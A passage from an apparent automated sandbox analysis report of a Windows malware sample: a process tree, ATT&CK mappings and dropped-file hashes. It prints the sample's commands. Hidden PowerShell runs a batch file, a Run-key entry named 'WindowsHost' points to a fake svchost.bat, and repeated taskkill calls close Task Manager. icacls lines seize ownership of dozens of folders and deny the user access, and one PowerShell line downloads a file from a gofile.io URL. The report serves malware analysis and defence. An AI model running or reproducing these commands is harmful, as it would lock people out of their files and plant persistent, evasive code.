      icacls "C:\Users\Admin\Desktop\SystemFolder10" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1364
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder11" /setowner "Admin" /t
      4⤵
      PID:5192
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder11" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1528
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder12" /setowner "Admin" /t
      4⤵
      PID:5372
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder12" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2200
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder13" /setowner "Admin" /t
      4⤵
      PID:5800
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder13" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2640
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder14" /setowner "Admin" /t
      4⤵
      PID:4100
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder14" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1396
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder15" /setowner "Admin" /t
      4⤵
      PID:3748
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder15" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4900
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder16" /setowner "Admin" /t
      4⤵
      PID:412
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder16" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2784
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder17" /setowner "Admin" /t
      4⤵
      PID:3748
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder17" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1432
- C:\Windows\system32\cmd.exe
  cmd.exe
  2⤵
  PID:5744
- C:\Windows\system32\taskkill.exe
  taskkill /f /im taskmgr.exe
  2⤵
  - Kills process with taskkill
  PID:4360
- C:\Windows\system32\timeout.exe
  timeout /t 1 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:744
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\a.bat\"' -WindowStyle Hidden"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:600
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\a.bat"
    3⤵
    PID:4988
  - - C:\Windows\system32\mode.com
      mode con: cols=1 lines=1
      4⤵
      PID:3460
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsHost" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.bat" /f
      4⤵
      PID:2772
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder1" /setowner "Admin" /t
      4⤵
      PID:5792
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder1" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5316
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder2" /setowner "Admin" /t
      4⤵
      PID:4268
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder2" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2808
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder3" /setowner "Admin" /t
      4⤵
      PID:2060
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder3" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:372
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder4" /setowner "Admin" /t
      4⤵
      PID:4500
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder4" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5368
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder5" /setowner "Admin" /t
      4⤵
      PID:3936
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder5" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:6108
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder6" /setowner "Admin" /t
      4⤵
      PID:2508
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder6" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4740
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder7" /setowner "Admin" /t
      4⤵
      PID:1368
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder7" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1848
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder8" /setowner "Admin" /t
      4⤵
      PID:4920
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder8" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:6076
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder9" /setowner "Admin" /t
      4⤵
      PID:4740
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder9" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4712
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder10" /setowner "Admin" /t
      4⤵
      PID:2964
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder10" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4240
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder11" /setowner "Admin" /t
      4⤵
      PID:4104
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder11" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5780
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder12" /setowner "Admin" /t
      4⤵
      PID:1664
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder12" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:232
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder13" /setowner "Admin" /t
      4⤵
      PID:5884
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder13" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2200
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder14" /setowner "Admin" /t
      4⤵
      PID:4896
- C:\Windows\system32\cmd.exe
  cmd.exe
  2⤵
  PID:5860
- C:\Windows\system32\taskkill.exe
  taskkill /f /im taskmgr.exe
  2⤵
  - Kills process with taskkill
  PID:1272
- C:\Windows\system32\timeout.exe
  timeout /t 1 /nobreak
  2⤵
  PID:6076
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\a.bat\"' -WindowStyle Hidden"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:752
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\a.bat"
    3⤵
    PID:1424
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4520
  - - C:\Windows\system32\mode.com
      mode con: cols=1 lines=1
      4⤵
      PID:4568
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsHost" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.bat" /f
      4⤵
      PID:5708
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder1" /setowner "Admin" /t
      4⤵
      PID:5484
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder1" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1788
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder2" /setowner "Admin" /t
      4⤵
      PID:1068
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder2" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4264
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder3" /setowner "Admin" /t
      4⤵
      PID:5940
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder3" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2604
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder4" /setowner "Admin" /t
      4⤵
      PID:3856
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder4" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2616
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder5" /setowner "Admin" /t
      4⤵
      PID:6044
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder5" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5412
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder6" /setowner "Admin" /t
      4⤵
      PID:4380
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder6" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5412
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder7" /setowner "Admin" /t
      4⤵
      PID:2724
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder7" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3148
- C:\Windows\system32\cmd.exe
  cmd.exe
  2⤵
  PID:4308
- C:\Windows\system32\taskkill.exe
  taskkill /f /im taskmgr.exe
  2⤵
  - Kills process with taskkill
  PID:3320
- C:\Windows\system32\timeout.exe
  timeout /t 1 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:3352
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\a.bat\"' -WindowStyle Hidden"
  2⤵
  PID:2524
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\a.bat"
    3⤵
    PID:2552
  - - C:\Windows\system32\mode.com
      mode con: cols=1 lines=1
      4⤵
      PID:4500
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsHost" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.bat" /f
      4⤵
      PID:2604
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder1" /setowner "Admin" /t
      4⤵
      PID:3100
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder1" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:372
- C:\Windows\system32\cmd.exe
  cmd.exe
  2⤵
  PID:5544
- C:\Windows\system32\taskkill.exe
  taskkill /f /im taskmgr.exe
  2⤵
  PID:5852
- C:\Windows\system32\timeout.exe
  timeout /t 1 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:548
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\a.bat\"' -WindowStyle Hidden"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2160
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\a.bat"
    3⤵
    PID:4928
  - - C:\Windows\system32\mode.com
      mode con: cols=1 lines=1
      4⤵
      PID:1064
- C:\Windows\system32\cmd.exe
  cmd.exe
  2⤵
  PID:3916
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2584
- C:\Windows\system32\taskkill.exe
  taskkill /f /im taskmgr.exe
  2⤵
  PID:1960
- C:\Windows\system32\timeout.exe
  timeout /t 1 /nobreak
  2⤵
  PID:2224
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\a.bat\"' -WindowStyle Hidden"
  2⤵
  PID:5208
- C:\Windows\system32\cmd.exe
  cmd.exe
  2⤵
  PID:472
- C:\Windows\system32\taskkill.exe
  taskkill /f /im taskmgr.exe
  2⤵
  - Kills process with taskkill
  PID:5512
- C:\Windows\system32\timeout.exe
  timeout /t 1 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:2024

C:\Windows\system32\mode.com
mode con: cols=1 lines=1
1⤵
PID:2656

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Invoke-WebRequest -Uri 'https://store-na-phx-5.gofile.io/download/web/7ebbb6f4-a537-4208-ad4a-48a914b785b3/301f696501829af4a3a58dccffc4cbb6_0_42700000.mp4' -OutFile 'C:\Users\Admin\Desktop\system_video.mp4' -UseBasicParsing -TimeoutSec 60"
1⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3948

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsHost" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.bat" /f
1⤵
PID:5512

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder1" /setowner "Admin" /t
1⤵
PID:1816

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder1" /deny "Admin:(OI)(CI)(F)" /t
1⤵
PID:4556

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder2" /setowner "Admin" /t
1⤵
PID:3176

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder2" /deny "Admin:(OI)(CI)(F)" /t
1⤵
PID:4764

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder3" /setowner "Admin" /t
1⤵
PID:3560

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder3" /deny "Admin:(OI)(CI)(F)" /t
1⤵
PID:1952

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder4" /setowner "Admin" /t
1⤵
PID:5876

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder4" /deny "Admin:(OI)(CI)(F)" /t
1⤵
PID:4908

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder5" /setowner "Admin" /t
1⤵
PID:5048

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder5" /deny "Admin:(OI)(CI)(F)" /t
1⤵
PID:3412

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder6" /setowner "Admin" /t
1⤵
PID:5504

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder6" /deny "Admin:(OI)(CI)(F)" /t
1⤵
PID:3424

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder7" /setowner "Admin" /t
1⤵
PID:4116

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder7" /deny "Admin:(OI)(CI)(F)" /t
1⤵
PID:5104

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder8" /setowner "Admin" /t
1⤵
PID:4920

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder8" /deny "Admin:(OI)(CI)(F)" /t
1⤵
PID:1280

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder9" /setowner "Admin" /t
1⤵
PID:1320

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder9" /deny "Admin:(OI)(CI)(F)" /t
1⤵
PID:1872

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder10" /setowner "Admin" /t
1⤵
PID:5860

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder10" /deny "Admin:(OI)(CI)(F)" /t
1⤵
PID:4804

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder11" /setowner "Admin" /t
1⤵
PID:3404

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder11" /deny "Admin:(OI)(CI)(F)" /t
1⤵
PID:3924

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder12" /setowner "Admin" /t
1⤵
PID:6080

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder12" /deny "Admin:(OI)(CI)(F)" /t
1⤵
PID:5936

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder13" /setowner "Admin" /t
1⤵
PID:220

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder13" /deny "Admin:(OI)(CI)(F)" /t
1⤵
PID:2892

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder14" /setowner "Admin" /t
1⤵
PID:4928

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder14" /deny "Admin:(OI)(CI)(F)" /t
1⤵
PID:5140

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder15" /setowner "Admin" /t
1⤵
PID:5712

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder15" /deny "Admin:(OI)(CI)(F)" /t
1⤵
PID:2584

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder16" /setowner "Admin" /t
1⤵
PID:3856

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder16" /deny "Admin:(OI)(CI)(F)" /t
1⤵
PID:1320

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder17" /setowner "Admin" /t
1⤵
PID:1960

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder17" /deny "Admin:(OI)(CI)(F)" /t
1⤵
PID:4556

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder18" /setowner "Admin" /t
1⤵
PID:3712

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder18" /deny "Admin:(OI)(CI)(F)" /t
1⤵
PID:4740

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder19" /setowner "Admin" /t
1⤵
PID:1144

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder19" /deny "Admin:(OI)(CI)(F)" /t
1⤵
PID:460

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder20" /setowner "Admin" /t
1⤵
PID:5204

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder20" /deny "Admin:(OI)(CI)(F)" /t
1⤵
PID:872

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder21" /setowner "Admin" /t
1⤵
PID:1676

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder21" /deny "Admin:(OI)(CI)(F)" /t
1⤵
PID:5816

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder22" /setowner "Admin" /t
1⤵
PID:1652

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder22" /deny "Admin:(OI)(CI)(F)" /t
1⤵
PID:2604

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder23" /setowner "Admin" /t
1⤵
PID:2880

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder23" /deny "Admin:(OI)(CI)(F)" /t
1⤵
PID:1844

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder24" /setowner "Admin" /t
1⤵
PID:1872

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder24" /deny "Admin:(OI)(CI)(F)" /t
1⤵
PID:6140

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder25" /setowner "Admin" /t
1⤵
PID:1052

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder25" /deny "Admin:(OI)(CI)(F)" /t
1⤵
PID:372

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder26" /setowner "Admin" /t
1⤵
PID:1460

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder26" /deny "Admin:(OI)(CI)(F)" /t
1⤵
PID:5376

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder27" /setowner "Admin" /t
1⤵
PID:476

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder27" /deny "Admin:(OI)(CI)(F)" /t
1⤵
PID:3096

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder28" /setowner "Admin" /t
1⤵
PID:4888

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder28" /deny "Admin:(OI)(CI)(F)" /t
1⤵
PID:1420

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder29" /setowner "Admin" /t
1⤵
PID:2068

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder29" /deny "Admin:(OI)(CI)(F)" /t
1⤵
PID:3216

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder30" /setowner "Admin" /t
1⤵
PID:4204

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder30" /deny "Admin:(OI)(CI)(F)" /t
1⤵
PID:5340

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder31" /setowner "Admin" /t
1⤵
PID:4712

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder31" /deny "Admin:(OI)(CI)(F)" /t
1⤵
PID:4380

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder32" /setowner "Admin" /t
1⤵
PID:2960

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder32" /deny "Admin:(OI)(CI)(F)" /t
1⤵
PID:2796

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder33" /setowner "Admin" /t
1⤵
PID:5084

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder33" /deny "Admin:(OI)(CI)(F)" /t
1⤵
PID:5536

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder34" /setowner "Admin" /t
1⤵
PID:4248

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder34" /deny "Admin:(OI)(CI)(F)" /t
1⤵
PID:3260

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder35" /setowner "Admin" /t
1⤵
PID:2744

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder35" /deny "Admin:(OI)(CI)(F)" /t
1⤵
PID:5932

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder36" /setowner "Admin" /t
1⤵
PID:2256

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder36" /deny "Admin:(OI)(CI)(F)" /t
1⤵
PID:1108

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder37" /setowner "Admin" /t
1⤵
- Modifies file permissions
PID:3148

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder37" /deny "Admin:(OI)(CI)(F)" /t
1⤵
PID:6136

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder38" /setowner "Admin" /t
1⤵
PID:1732

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder38" /deny "Admin:(OI)(CI)(F)" /t
1⤵
PID:5712

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder39" /setowner "Admin" /t
1⤵
PID:3488

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder39" /deny "Admin:(OI)(CI)(F)" /t
1⤵
- Modifies file permissions
PID:4276

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder40" /setowner "Admin" /t
1⤵
PID:3560

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder40" /deny "Admin:(OI)(CI)(F)" /t
1⤵
PID:5612

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder41" /setowner "Admin" /t
1⤵
PID:1320

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder41" /deny "Admin:(OI)(CI)(F)" /t
1⤵
PID:5392

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder42" /setowner "Admin" /t
1⤵
PID:4276

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\Desktop\SystemFolder42" /deny "Admin:(OI)(CI)(F)" /t
1⤵
PID:6128

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 81fc6cfe81caf86f84e1285cb854082ac5e127335b5946da154a73f7aa9c2122
MD5 ed30ca9187bf5593affb3dc9276309a6
SHA1 c63757897a6c43a44102b221fe8dc36355e99359
SHA512 1df4f44b207bb30fecee119a2f7f7ab7a0a0aed4d58eeabbec5791d5a6d9443cccffa5479ad4da094e6b88c871720d2e4bcf14ebec45a587ee4ec5e572f37810
TLSH
T1C051DA313275A1E4C91A3F47192819C023BF8355FA98AF5CB65C521EE92740B9B222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 d109661abe6eb45e485ff9b2441dcd62abf6ccf6d2efcfad44369295720a339f
MD5 4358cc43baf609e48ac91365fc13e8df
SHA1 48072ea18937b879100efa1805741af0d3f035b5
SHA512 49f33371758032d0ef48bb8987b8277450279218b6b263eb80fd91c68fc8268261c2a32ac26f11ca79b67cf4165a716129effb7809746ed0a173453125812590
TLSH
T16C119723B79CC961CC85453B409C9D6075B2C7C7809EDE9F2FC4C209A07F588CB201A0
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc
MD5 d8b9a260789a22d72263ef3bb119108c
SHA1 376a9bd48726f422679f2cd65003442c0b6f6dd5
SHA512 550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

